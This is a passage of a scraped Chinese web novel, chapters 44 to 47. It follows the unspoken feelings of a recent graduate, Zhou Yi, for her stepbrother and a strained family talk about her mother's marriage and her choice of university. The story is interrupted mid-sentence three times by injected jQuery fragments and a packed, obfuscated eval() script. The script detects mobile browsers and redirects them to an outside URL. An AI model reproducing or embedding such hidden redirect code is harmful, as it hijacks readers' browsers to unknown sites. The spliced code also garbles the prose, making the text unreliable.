() { $(''.inform'').remove(); $(''#content'').append('' ,你穿的太显小了,我还以为——” 她话还没说完,程司远就拿着衣服走了过来,看周依一脸铁青道:“怎么了,在说什么呢?” “没什么,我们走吧。”周依看见他过来,说着拉起他就往外走。 不知道从什么时候开始,她就是不喜欢被人说年龄小,她明明已经成年了,她明明已经是一个大人了,她明明……她明明可以离程司远再近一点的。 “两位慢走,下次再来啊。” 身后传来老板娘的声音,周依更是觉得气恼,不由拉着程司远又走快了几步。 “诶依依、依依你走慢点,刚吃完饭别走那么快。”程司远被她拉着走在身后。 但周依像是听不见,还是一个劲的向前冲。显然是倔牛又上了身。 “对胃不要好,慢点走。” 程司远又说了一声,见还是没有反应,他停了脚,反手一用力,拉住还要往前走的周依,低声问道:“你怎么了?” 周依被他拉得停下,她低头看着自己身上淡黄色的裙子。蕾丝边的裙摆,衣身上还有一个可拆卸的小熊。 她很喜欢这件裙子,只是—— 周依猛地抬头看向程司远,眼尾稍红,问:“我的衣服很幼稚吗?” 程司远一怔,没想到她会这么问自己。但好在他不是傻子,随即就想到刚刚在收银台的场景,七七八八也猜出了大概。 “不幼稚,很好看。”他说:“是刚刚那老板说你了?” “她说我小,是高中生。”周依撇过脸不满道:“我都已经成年了。” 程司远喉咙松动,像是在笑,说:“差不多,你这不也刚毕业嘛。” 他弯下腰与周依平视,又说:“再说了,显小不好嘛,多可爱啊。” 霎间,周依耳根有些发痒,脸上也悄悄浮现出两抹粉红,她微微颔首,嘴里嘟囔着:“不好,一点也不好。” “那……怎么才算好?”程司远问。 声音带了几分戏虐。 周依向一旁缩了缩,抬手揉了揉耳朵,不敢回头。这声音太近了,近的自己鼻尖都萦绕着他身上淡淡的薄荷香气。 扑通、扑通。 “可能……要穿的成熟一点吧。”她说。 “奥,这样啊,那我知道了。” 程司远轻笑一声,松了抓着周依的手,下一秒就将自己手中的外套展开,披在了她身上,继续道:“我的衣服成熟,穿我的吧。” “啊?” 周依被他的举动吓得一愣,随即反应过来,急忙道:“你不是怕冷吗,怎么给我了?” 说着,就要把衣服脱下来还回去。 程司远见状连忙按住她的手,说:“别脱,穿好。” 他重新整理好她身上的衣服,柔声道:“谁跟你说我怕冷了,这是给你拿的,前面有江,别感冒了。” 周依身体僵了僵,却是没有再反抗,只是微微颔首、点头,任由程司远将外套穿在自己身上。 手中一空,身上一暖。藏不住的少女心思也慢慢浮在脸颊,显出两抹红晕。 “我们走吧,去前面逛逛。”程司远说。 周依收了心神,低声道:“嗯,好啊。” 两人排着走在路上,微风轻轻吹拂,撩起了周依额前的碎发,飘在脸上酥酥麻麻的。她伸手拨去细碎的发丝,衣袖刮过鼻尖,却是被这薄荷清香迷了心神。 是他的味道。 刚刚被拉着的手,也还残留着他的余温。 在宽大的袖口下,周依偷偷地摩挲着自己的指尖,贪婪地感受着这一丝温度。 程司远侧眸看着她,抿了抿唇,轻声问道:“依依,你想好要报去哪了吗?” 45.心跳 周依吓了一跳,下意识地将手藏在身后,随即又觉得自己的动作太过突兀,尴尬地伸手朝着程司远挥了挥,讪笑道:“奥,这个呀,我还没想好,不过……去哪应该都一样吧。” 她说完,还不忘偷偷斜眼看向程司远。 “你想去外面吗?”他问。 周依突然顿住脚步,心脏像是被铁锤重重的砸了一下。 “为什么这么问?”她说。 程司远也停下,抬头看着远方道:“去外面看看世界,认识不一样的人,过不一样的生活。挺好的,不是吗?” 微风在湖面上遛了个弯,丝丝缕缕又吹拂过来。周依觉得天气预报说的对,降温了,晚上是有点冷。 她往宽大的衣服下面缩了缩,说:“你是觉得我去外面比较好吗? “对。”程司远道。 周依一颗心像抛入山崖,霎时间,凉了半截。她胸口堵的难受,刚想开口说说什么,就听程司远在一旁又开了口:“如果你想去,我陪你一起。” 周依猛地抬头看着他,难以置信的神情布满了整张脸,胸口剧烈的浮动着,她的心像是被人突然抓紧,又蓦地松开。她没听错吧,他说要陪她一起? “你说什么?”周依下意识出声问刀。 “我说我陪你一起啊。”程司远垂眸笑道:“别因为害怕就不敢去,这天地很大,值得去看看。” 这一刻,周依心中最柔软的地方慢慢化开,阵阵的暖意盈满了整个胸腔。她眼眶微微泛红,鼻尖的酸涩也引得泪珠在眼睛里不停地打转。 可她不是小孩子了,她不能为了私欲就拉他入水,他有他的梦想,有他的生活。他找到工作了,那是他最喜欢的。 他是她哥,她不能。 周依觉得自己有些狼狈,连忙转过身,抬起头看着满天璀璨的星空,偷偷吸了吸鼻子,浅笑道:“谢谢。” 但是,不用了。 纵横交错的情愫在她胸膛里横冲直撞,嘴角是甜的,眸中却藏了说不出的忧伤。他是她哥,所以她可以一直陪在他身边。以妹妹的身份。 轻风拂过,湖面泛起连漪,荡漾的微波宛如一幅抖动着的碧缎。裙摆微微摆动,宽大外套下的身体却是略显单薄。 程司远看到心中不免涌上一阵心疼,开口道:“依依——” 周依不想再继续这样的话题连忙开口打断,伸手指向远方道;“诶?那是什么,好亮啊。” 声音清亮,但听得出来是带了一丝鼻音。 程司远僵了下,眼睛随着她所指的方向看去,半晌道:“那好像有个游乐场,应该是里面的灯吧。” 周依听了很是惊奇,淡去了刚刚的悲伤,转头问道:“远吗?” “不远。” 程司远嘴角带着笑,走到她身边停下脚步,说:“想去吗?我带你去。” 周依眼睛一亮,刚想开口答应,但很快又泄气道:“现在人家都要关门了。” 程司远轻笑一声,伸手揉了揉她的头发,说:“谁说是现在去啊,我说明天。” 他收回手,附身看着她认真道:“周依小姐,你是否愿意明天陪我一起去游乐园呢?” 周依抬眸迎上了他的目光,忽然觉得眼前的人格外扎眼,她微微瞥过脸,细声道:“明天周一,你不上班吗?” “嗯,明天轮休,不上班。”程司远依旧不加掩饰地直视着她。 周依虽然没有看向他,但依旧是被这目光烫地默默地后退一步,小声道:“你最近不是很忙吗?怎么……” 她话没有说完,但程司远却知道她要说什么,只道:“忙完了,接下来只需要等手术日期就好了。” 他说着微微歪着头,对周依眨了眨眼,继续道:“还要拒绝我吗?” 蓦地,周依脸颊飞出一抹红晕,耳根也跟着有些发烫,袖口下的手掌也细细渗出汗水,慌乱道:“我、我也没说不去啊。” 程司远听了心情很是不错,嘴角勾了勾,直起身体刚想开口说话,却又听到周依微弱的声音在耳边响起:“叫李佩佩一起吧,我……我想谢谢她。” 她说着,还不忘转过头偷偷瞥了眼程司远。 扑通,扑通。 好快。 程司远却是不解,挑眉问:“谢她,谢她什么?” “我昨天去找她,她给我烤烧烤来着。”周依又是心虚地往后退了一步。 不管怎么样,都不能再跟他单独相处了…… 真的会被发现。 程司远沉默一会儿,随即点头道:“嗯,是该谢谢。” 他顿了顿,嘴角微微上扬,继续道:“但我们三个人有的项目应该不太好玩,把段梓坤也叫来吧。四个人,刚好。” 周依听到他答应心里便是一喜,三个人也好,四个人也罢,反正只要不是跟他单独两个人这么都行。 “嗯,好啊。”她说。 除此之外,她其实还挺好奇李佩佩和段梓坤的事情,说不定也是个机会。 想到这,周依这八卦心就有点按耐不住了,她嘴角抑制不住地上扬,悄悄走上前一步,用手轻轻遮住嘴巴,小声道:“梓坤哥是不是喜欢佩佩呀?” 程司远忽然低声笑了声,眯起眼睛看着她道:“看出来了?” 果然如此。 周依眼睛闪过一丝亮光,又凑前一步,偷笑道:“怪不得,平时梓坤哥看起来吊儿郎当的,但每次我在他面前提到佩佩他都格外紧张。” “哦?那你的洞察力还是挺厉害的嘛。”程司远轻斜着头看着她,眼底的温柔满地快要溢出。 周依自信地扬起下巴,轻点两下,随后将双手轻轻背在身后,慢慢走在程司远身前道:“那是肯定,什么都逃不过我的法眼。” 程司远跟在周依身后慢慢地走着,低声问:“还看出什么了?” 声音低哑富有磁性,在寂静的夜里显得格外好听。 “嗯……我想想。” 周依微微仰头,用手指轻点着下巴,继续道:“我觉得佩佩应该也是喜欢梓坤哥的,只不过自己没发现罢了。” “嗯?为什么这么说?” 程司远的步子要比她的大,虽说走得很慢,但不知不觉间两人已是越走越近。 只不过,周依却是没发现,脑子里还是一个劲地想着那两人情愫的蛛丝马迹,悠悠开口道:“因为佩佩她很在意梓坤哥啊,你别看她平时大大咧咧的,其实她可细心了。” 她像是突然想到什么,笑道:“我跟你说,有一次梓坤哥在学校的篮球比赛不小心受伤了,你都不知道,那段时间佩佩她——” 嘴上忘我地说着,身体也跟着不老实。 这不,一转身,就被不知道什么时候来到自己身边的程司远,吓了一跳。 周依倏地后撤步,一个趔趄,眼看就要摔倒。 程司远眼疾手快,急忙拉着她不至于跌倒,微微用力,两人就撞了个满怀。 周依到嘴边还没说完的话,却是也再说不下去了。 她吃痛一声,急忙从程司远怀里跳出来。瞬间,满脸涨的通红,不知道是不是被撞痛了,连鼻尖也跟着泛起了红,惊慌道:“啊那个、对不起,我、我不小心,没注意。” 程司远见她站稳急忙低头察看,切声道:“没事吧,撞到了?会疼嘛?我看看。” 说着就要伸手抚上她的脸,准备检查一番。 但周依那能让他看到自己这副囧样,她迅速低头,左右疯狂摇着,慌张道:“没、没事,不疼,我不疼,你不用、不用看了。” 程司远微微皱眉,伸出去的手停在半天,犹豫片刻,还是放了下来,过了半晌才低声说了句:“下次,我接住你。” 他声音很小,周依甚至没能听清。只是伸手快速在自己脸前扇动几下,或是缓解尴尬,又或是想给自己羞红的脸降降温,讪笑道:“我就是突然想到了他们俩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362862|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前的事,随口说说,有点激动。” 最好还难堪地讪笑几声。 程司远左右打量一番,确定她是没摔着,便放心开口道:“他们俩的事,你倒是观察得清楚。” 周依瘪了瘪嘴,伸手摸了摸刚刚被撞地发疼的鼻尖,说:“哪有什么办法,他们俩每次见面不是吵就是闹的,我不想记得都难。” 末了,她又突然嗤笑一声,继续道:“一对欢喜冤家,我看他俩八九不离十了。” 听到她这么说,程司远也跟着笑了出来,嘴角像是带着笑意,低声问道:“除了他们,你还有没有观察到什么?” 他慢慢俯身,嘴角的笑意更是浓郁,平视着周依,慢声道:“比如……我?” 周依看着突然凑在自己面前程司远,下意识往后缩了缩,眼睛也不敢直视着他,转向一边道:“你?我、我不知道啊,再说了……我干嘛没事儿观察你啊。” 说到最后,原本抬着的头也慢慢地低了下去,像是在掩饰些什么。 闻言,程司远没再说话,只是静静地看着自己面前的人,嘴角依旧是勾起,只不过比刚才却是平缓不少,藏匿在垂眸下的神色,似乎饱含着几分失落。 半晌,他叹息一声,站直了身体,耸了耸肩道:“没什么,我就随便问问,别在意。” 他走了两步,又说:“不早了,我送你回家吧。” 夜色融融,黝黑的天幕上缀满了繁星点点,力那寂静的夜晚增添了儿分活力,不一会儿,两人便开车到了家。 程司远在小区门口将车停下,转头看着周依道:“回去的时候,记得小心点。” 周依点了点头,刚起身下车就发现自己身上还穿着程司远的外套,顿时脸上一热,伸手便想脱下。 可她刚有动作,便被身旁的人伸手拦住了。 “别脱了,晚上冷,这到楼上还要段距离呢。”程司远重新将衣服给周依穿好,玩笑道:“要是感冒,明天可就去不了游乐园咯。” 周依脸上忽地出现两团粉红,微侧过脸小声道:“那我明天洗了再还给你。” 程司远勾着嘴角,伸手摸了摸她的头发,说:“不用这么麻烦,直接给我就行。” 他眼神温柔且深邃,周依只是抬头偷偷看了一眼,就感觉自己好像被这眼中的漩涡吸了进去。她匆匆瞥过眼,有些慌乱道:“我、我走了。” 说着便要下车。 可谁知,下一秒就又被程司远伸手,轻轻拉住。 “等等。”他说。 “嗯?怎么了?”周依眼睛慌乱地瞟着。 程司远看着面前的人像是要说些什么,但张了张嘴,还是放弃了。半晌,他鼻腔里轻笑一声,放缓语气柔声道:“路上小心,到家记得给我发个信息。” 周依颔首,垂眸道:“嗯,好。” 她下了车,准备关门时又蓦地顿住,低声道:“你也是,路上小心。到家……记得回我的信息。” 程司远浅笑,应道:“嗯,我知道。” “嗯……” 周依站在车外一时间不知道该说什么了,拉着车门的手指蜷了蜷,脚也不自主地在地上轻碾着,蓦地觉自己得有些尴尬,支吾半晌道:“那……那拜拜,明天见。” 话音刚落,程司远都还没来得及回应,周依一把便关了车门,随后转身就跑,头也不回。 “诶——” 程司远喊了声,随即又轻笑着摇摇头道:“真是……” 他轻叹一声,看着周依奔跑的背影,低声道:“明天见。” 眼波流转,明眸桃靥。 不过,他好像并没有要开车离去。 周依一路小跑到电梯口才停下脚步,气喘吁吁的,只是不知道这脸颊上的红晕是因为一路的奔跑,还是因为刚刚的某个瞬间。 少女的心总是这样,就像藏在树枝后的明月,哪怕只有半点风吹,也会一不小心,就泄了银光。 46.冲击 “呼——” 周依深吸一口气,努力平复自己的心情,见电梯门开了,便一脚迈了进去,随后拿出手机,快速轻点着,在“木头”的聊天框中输入: 我到了,不用担心了。 她刚想要点击发送,但扫了一眼又觉得不妥,皱了皱眉,删去“不用担心了”,这才安心点了发送。 另一边,车上程司远的手机“嗡”地响了一声。 “这么快?” 他轻挑着眉嘴里低声说了句,拿起便看到“馋猫”发来的信息,嘴角不自主地上扬,手指轻点,在聊天框中输入: 嗯好,我也快到了。 发送完成之后,不知为何脑子里又浮现出周依一路小跑气喘吁吁的样子,他低笑一声,再次发送: 在途:下次跑慢点,晚上黑,小心别摔了。 “嗡嗡”两声,周依收到来信,不由惊道:“我去,这么快。” 屏幕上两行小字入目,惹得她脸上刚刚消散的红晕,这会儿又要再次聚拢,羞恼地轻咬着嘴唇,指尖在屏幕上跳动。 月曜:我那有那么笨!你赶紧回家吧! 随即便熄了屏幕,抱胸站在电梯里,不打算再理程司远了。 只是,这一闲下来她才发现,电梯还静悄悄停在一楼,居然是因为跟某根“木头”聊天,忘了按楼层。 周依气恼“啧”了一声,跺着脚就伸手去按楼层键。 可刚按下去,电梯却忽然被打开了。 周依见是住在楼上的老奶奶,急忙转手按了开门键,随后又默默往里挪了挪,腾出点位置。 老奶奶迈步走来,看到熟悉面孔便笑着对她点了点头,但下一秒又略显惊讶道:“诶?我记得你刚高中毕业吧,这么快就谈男朋友了?” “啊?” 周依愕然,连忙解释道:“不是不是,我没男朋友,这是、这是……” 她嘴里支吾不清,手上动作不停,急忙脱下外套,指着继续道:“这是我哥的,他、他怕我着凉,不是什么男朋友……” 声音渐小,说完脸上已然红了一大片。 老奶奶也像是突然想到,说:“奥是是,我是记得你好像是有个哥哥,之前路上碰见过。” 她顿了顿,继续道:“但最近没见了,是好久没来了吧。” 面对老奶奶的连续搭话,周依突然有些无措,只能讪笑道:“啊……嗯,是呀,他好久没来了。” 老奶奶看着周依点了点头,停顿一瞬又笑着说道:“我看你哥哥长得挺好啊,他有没有女朋友?我孙女跟她年纪差不多,你看——” “叮咚” 老奶奶话还没说完,电梯门便响了。 周依如蒙大赦,一个跃步跑出电梯,转头对老奶奶笑着欢送道:“奶奶我到了,我就先走了,不耽误您时间了,奶奶再见。” 说着还伸出一只手在面前挥了挥,而另一只手则是偷偷桉了关门的按键。 “诶,我还没——” 电梯门依然关上,老奶奶的话却是再也没机会说完了。 周依看着紧闭的电梯门,这才彻底松了口气,蓦地低头看着手上的衣服,瘪了瘪嘴,低声嘟囔道:“真是,怎么人还没来,桃花就先来了。” 随后,抬手、下落,“啪”的一声,巴掌就打在了那衣服上。 她轻哼一声,进家门时,又忍不住暗暗抱怨道:“讨厌鬼!” “啊嚏——” 程司远在车上打了个喷嚏,他伸手揉了揉自己的鼻尖,略感疑惑道:“感冒了?不能吧……” 说完,又倏地斜眼看向手机,发现有一条未读消息,不由挑眉道:“是你吧,馋猫。” 他眼眸微眯,轻笑一声,随后脚下用力将车提高了速度,一路飞驰便是无阻。 周依刚开门就见家里灯是亮的,心里一惊,随后又一喜,开口就道:“妈你回来了?” 听到门口有的声音,张舒欣便从厨房里走了出来,身上还穿着围裙,手也是湿的,说:“依依回来啦。” 周依走上前,好奇道:“你们不是还要过几天才能回来吗,怎么这么快?” “本来是要过几天的,但是这次对方要求到公司视察,所以就先回来了,过几天还得再过去,真是麻烦。” 张舒欣用围裙将手擦干,指了指厨房,继续道:“我刚要准备下面呢,你还要吃吗?” “我不吃了。”周依抬头看了眼墙上的钟表,微微皱眉道:“你还没吃饭吗?都九点了。” 张舒欣笑道:“你程叔叔去了趟公司,我就想着等他回来一起吃,所以就晚了点。” 她话音刚落,垂眸就看到了周依手里拿着的衣服,有些疑惑道:“嗯?你这是拿的谁的衣服?” 说着,便要伸手接过。 周依下意识把衣服往身后藏了一下,但等她反应过来,已经为时过晚了。 手臂微晃,随即立马止住。 霎时间,周依心脏砰砰跳得直快,脸颊上也突兀地显出两坨红晕,眼神慌乱不堪,左右闪躲,像极了被原地逮捕的小偷。 她尴尬不已,急忙伸手将衣服递上前,垂着眼讪笑道:“奥,这个啊,程司远的,我刚刚跟他去吃饭了。” 可张舒欣却没有接过,而是皱着眉头看着周依,不悦道:“别天天程司远、程司远的叫,怎么说他都是你哥,你看看他都回来多长时间了,你有叫过他哥嘛?” 一时间,周依有点蒙,她没想到张舒欣会生气,拿着衣服的手在空中僵了一会儿,随后又放了下来。 其实她有叫过程司远“哥”的,只不过那时是自己喝醉了,还是迷迷糊糊叫的。 好像还叫了不少…… 但这事周依是断然不敢跟张舒欣说的,要是被她知道自己喝酒,而且不但喝了还喝醉了,那就真的精彩了。 反正不关怎么样,先道歉总是没错的。 周依打定主意,刚想开口,但还没来得及出声就听到张舒欣的声音在耳边再次响起:“现在你程叔叔不在家,你这么叫就算了,要是以后还这么没规矩,那我真得好好说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376661|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说你了,真是越长大越不懂事了。” 话语虽是平淡的,但声音里隐隐约约夹杂着的呵斥和警告,还是让周依傻得愣在了原地。她以为她们这么久没见了,见面应该是温馨,或者说至少是和谐的,没想到…… “对不起妈,我以后不会了。” 周依微微垂眸,将心中的伤痛尽收眼底,藏在那浓密道睫毛之下。 算了。 她抿了抿嘴唇,将手上衣服放在一边,继续道:“我去煮面吧,妈你刚回来,别太累了。” 张舒欣看着周依的背影轻轻叹了口气,也跟进了厨房,说:“不用了,我来。” 她转头看着砧板上的菠菜,说:“你去把菜洗了吧。” 周依动作僵了僵,随即便走到一旁,拿起菠菜仔细地冲洗。 空气突然安静下来,哗哗的水流声和咕嘟嘟的沸水声盈满了整个厨房。 “依依,这么多年了,你还没接受程毅吗?”张舒欣蓦地开口,声音里带着一丝无奈。 周依手上一顿,瞬即又恢复正常,小声道:“我也没有不接受过啊。” “那这么多年了你还一直叫他的程叔叔。”张舒欣伸出筷子搅了搅锅里的面,继续道:“他对我们的好你也都知道,怎么就是不改口呢?” 听到这话,刚刚还能淡然洗着菠菜的周依,现在却是也不能了。 水流声哗哗作响,反反复复冲刷着她的记忆,脑子里一遍一遍回忆起小时候被某人打骂的场景,那个自称是自己爸爸的男人。 只不过时间太久了,她已经记不清那个人长什么样子了,但“爸爸”这个称谓,她始终没办法接受,也说不出口。对程毅更是。 张舒欣见周依没有回应,又莫名窜出一股火,厉声道:“你是我女儿,他就是你爸爸。” 周依被这一声拉回了思绪,同时也被这一声逼迫地断了弦。她脑子里嗡嗡作响,心也像被注了铅一样,满满的沉了下去。 她猛地落手关了还在流水的龙头,冷声道:“我没有爸爸。” 霎时间,张舒欣怒火上涌,转身呵斥道:“你怎么没爸爸?程毅就是你爸爸!” 周依并不想跟她吵,依旧背对着她,抿唇不再做声,只是心里隐隐有点难受,那种感觉她说不上来,总感觉她们俩和之前有哪里不太一样了。 张舒欣说完也觉自己口气太过急躁了,轻叹了声,放缓语气继续道:“我也没别的意思,你也知道咱们这么多年吃喝用度都是靠着程毅。” 她顿了顿,又道:“虽然现在有了公司,但大多也都是程毅在管,我一个女人也没什么本事,最多给他打个帮手而已。” 周依没有说话,低头拿着手里的菠菜叶子默默摩挲着,只听张舒欣叹息道:“现在我年纪也大了,什么荣华富贵的也都不在乎了,但你不一样,你还小,以后还有很长的路要走。” 她张了张嘴沉默好一会儿,最后还是犹豫道:“其实……我跟程毅不是夫妻,你的未来我没办法保障,所以——” “什么?” 47.决定 周依几乎下意识脱口而出,张舒欣被打断愣了下,说:“我说我没办法给你保障。” “不是。”周依说:“你说你跟程叔叔不是夫妻?” 她看着一脸难以置信道:“为什么?你们那天明明办了婚礼。” 张舒欣眼神暗了暗,垂眸道:“是办了,但也只办了婚礼,所以法律上程毅并没有抚养你的义务,同样我也没有办法去要求他……” “啪嗒。” 周依手上的洗菜篮掉了,里面菠菜撒了一水池,她愣愣得听着这句话,就像是天边的惊雷在她耳边响起,之后张舒欣还在说什么,但却也已经听不太清了。 此时此刻,她没办法形容自己的感觉。大脑是木的,身上是麻的,她像是被人抽走了灵魂,呆呆的站在那一动不动。 “……就只希望我们一家人能团团圆圆平平安安的,这就够了,你明白嘛依依。” 张舒欣说完见周依呆愣愣地没反应,不由出声喊道:“依依?” 周依猛地回过神来,急忙伸手捡起掉在水池里的菠菜,过了好半晌,才颤抖着声音叫了一声:“妈……” 张舒欣叹了口气,说:“你也不用害怕,程毅的品行我信得过,他会履行好父亲的责任,他也很期待你能叫他爸爸。” 周依没有答话,低垂着头又把菠菜洗了一边,她脑袋里浑浑沉沉,心一半是凉的,一半是热的。 菜洗好了,她拿着沥水盆走向砧板,低声道:“妈,洗好了。” 没有任何要继续刚刚话题的意思。 张舒欣的心情似乎有些沉重,轻嗯一声道:“放那就行,没事了,你出去吧。” 周依刚准备拿起刀切菜,听她这么说便又放了回去,站在那摩挲一会儿,还是轻声道:“嗯,那……我去收拾桌子了。” 闻言,张舒欣也只点点头,不再说话。 虽然平时都是周依一个人在家,但依旧干净有度,再加上她今天等程司远的时候又闲不住里里外外打扫了一遍,其实根本没什么收拾的。 周依在房间里漫无目的地傻走,原本闭着眼都能走的路,现在却是好几次都被那万年不变位置的板凳桌角,给绊地差点要摔倒。就像走不出心里的迷宫。 最后绕了一圈,她也只拿了刚刚随手放在沙发上衣服,回了房间。 再等周依出来时,恰巧就见程毅也刚好进了门。 她顿了一下,突然觉得自己嗓子有些发哑,看着面前的人咬了咬牙,半晌也才低着声音说:“程叔叔你回来了。” “奥,依依啊。回来了。”程毅并没有发现她的异常,只是问:“你妈妈呢?” 周依看向厨房道:“在煮面呢。” “你回来啦,快去洗手准备吃饭了。” 张舒欣听到程毅的声音,也从厨房里走了出来,随后又转头对着周依道:“依依啊,你也再吃点,做得多。” 周依愣了下,连忙摆手道:“我就不吃了吧,我今天跟程——” 烫嘴的名字刚咬出一个字,她就倏地顿住,下意识瞥向一旁的张舒欣,果然已经在皱眉,不高兴了。 周依心中一紧,急忙改口道:“跟哥哥、跟他吃过了,吃了很多,不饿。” 说完,还不忘再次偷看张舒欣道表情。 确实缓和了不少,她也稍稍放下心来。 可在周依没看到的地方,程毅却皱起了眉,他擦了擦手坐在餐桌前,有心事似的开口道:“司远……最近经常找你?” 周依一愣,一时间被问的有点摸不到头脑,疑惑看着他,回答道:“没有,他最近好像很忙,自高考完我们就刚刚见了一面。” 程毅见她回答的认真,蓦地反应过来自己刚刚可能有点突兀,不免讪笑道:“害,我就随口一问,没别的意思。司远不是刚工作嘛,时间跟重心都应该放到医院,那能天天往家跑。” 说完,又看着张舒欣尴尬地笑了几声。 “你啊,就是对司远要求太高了”张舒欣对他道:“人家天天在医院忙前忙后的,你倒好,连家都不让回了。” 她倒是没有多想。 程毅揉了揉鼻子有些不自在,尴尬地看向周依,转移话题道:“依依是不是要报志愿了,有想去的学校吗?” “是啊,我们这次回来也是想到这事。”张舒欣也看向周依道:“你有想去的地方吗?” 周依刚想开口,但还没来得及发出声音,张舒欣就又在一旁道:“我看吴都大学就挺好的,还离家近,你觉得呢?” 她看向周依。 周依不由愣住,下一秒就听程毅道:“先别急着决定,多看几个学校选选再说。” 他看着张舒欣像是故意岔开话题道:“诶?你不是还下着面呢嘛,好了?” “哎呀!” 张舒欣双手相击,拍了一下,惊呼道:“我的锅!” 程毅看她奔跑的背影,不由道:“这怎么老了老了反而变成小孩了,一惊一乍的。” 他轻笑一声,扭头看向周依,嘴角依旧是上扬道:“别听你妈妈说的,吴都大学近是近,但外面的学校更好。你再好好想想,别着急做决定,或者再想想有没有感兴趣的专业。” 周依抬眼看向程毅,随即又连忙低头道:“金融。” 她声音很小,微弱到只有她自己才听得真。 程毅自然是没听清,侧头问道:“什么?” 不知为何,周依心里突然紧了一下,眼神慌乱地乱飘道:“我……我说都行、都行。” “都行?” 这个答案却是程毅没想到的,他愣了愣继续道:“那就是还没想好。这样,我有个朋友在嘉水师范任教,要不你考虑考虑学师范?女孩子学个师范还是挺好的。” 周依一惊,刚想张嘴回绝,蓦地就被一个声音给打断了。 “行啊,师范好啊,出来考了教资当老师。”张舒欣端着一个砂锅从厨房走了过来,放在桌子上,继续道:“就是嘉水吧……有点远。” 她看向一边还站着的周依道:“依依别光站着啊,快坐下。” 周依附身在餐椅上坐下,轻咬着嘴唇一言不发。如果这是在几个月前,那她可能就点点头答应了,但现在…… “这有什么的,你还能把依依留身边一辈子啊。”程毅道:“再说了现在交通多发达啊,远归远又不是不能回来了,况且我那个朋友不就在嘉城师范嘛,多少也有个照应。” 张舒欣似乎被打动了,觉得他说的也不无道理,于是便向周依问道:“依依你觉得呢?” 周依犹豫道:“我……让我再想想。” 程毅看着她笑了下,说:“不急,还有几天呢,要是国内的不喜欢,咱们也能出国,叔叔支持你。” “什么?” “啊?” 张舒欣和周依同时发出惊叹,一脸诧异地看着程毅。 “你们这是什么表情?” 程毅被看得有些心慌,随手给自己盛了一碗面道:“国外也不是不行啊,多出去走走见识见识,没什么不好的。” “谢谢程叔叔。”周依道:“但我不想去。” “是啊,我也不想依依出国,我觉得国外可没有国内好。”张舒欣道。 程毅见自己的提议被双票否决也不坚持,笑了两声又给张舒欣盛了一碗面,说:“我就随便一说,去哪上学还看依依。” 他把碗又往前推了推,说:“来,吃饭吃饭。” 张舒欣看着程毅沉默了一会,随后拿起自己手边的空碗,向周依问道:“依依要不你也再吃点?” 周依连连摆手,她今天跟程司远可是吃了不少,再吃就真要吃到肚皮外面了。 “妈我真不吃,我吃饱了。”她说着就从餐椅上站起道:“程叔叔你们慢慢吃,我还有好多关于报考资料我还没查呢,就先回房了。” 话音刚落,张舒欣和程毅还没来得及反应,她就飞也似的溜回了房间。 程毅看着周依的背影顿了一下,随后看向张舒欣道:“我怎么感觉她今天怪怪的?” 张舒欣拿筷子的手滞了滞,瞥过眼催促道:“你感觉错了,快吃饭吧。” “是吗?” 程毅疑了一下,但又很快释然道:“那好吧。” 应该是自己想多了。 房间内,周依躺在床上辗转反侧有些烦躁,伸手拿起床头的大象玩偶,反复揉捏着,脑子里蓦地浮现出张舒欣的话,心低不免又是一跳。 他们没有结婚。 周依翻过身把大象抱在怀里,看着自己刚刚放在椅子上的外套,眼神划过一抹理不清的迷茫。 不知道从什么时候开始,她对程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389096|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司远的感情就掺杂了许多原不该有东西。她极力的想要隐藏,可一次次的见面、一次次的相处、一次次的关心都让她乱了阵脚,失了方向。 她想过走得远远的,把这份感情永远藏在心底,将秘密带入坟墓。 可—— 周依叹了声气,整个人蜷缩着将大象紧紧的抱在怀里,贪婪的呼吸着。恍惚间,她仿佛闻到了程司远身上淡淡的薄荷香,干净而又清冽,沉溺不能。 她舍不得。 夜色融融,黝黑的天空中已是繁星点点。 周依迷迷糊糊醒来,发现自己不知道什么时候居然睡着了,她揉着眼睛摸向枕头下的手机,但手扫荡了半天,却什么也没摸到,不禁疑惑地“嗯?”了声。 “东西呢?” 周依嘟囔一句,慢悠悠从床上爬起来左右看了看,这才突然意识到,自己从到家就一直在跟张舒欣和程毅说话,随手放在桌子上的手机也没再拿起过。 她“啧”了声翻身下床,伸着懒腰走到书桌前拿起手机,习惯性用手指轻划着。 可这刚打开,周依就被吓得清醒不少,一个接一个红色的小圆圈,瞬间映入眼帘。 “我去,发生什么了,怎么这么多信息。”周依道。 说着便点开了排在第一个程司远的对话框,看着这五六条未读消息,她的手就是一软,连手机都差点掉下去。 九点二十的时候。 木头:我到家了。 十点的时候。 木头:刚刚去洗澡了,现在正躺在床上。 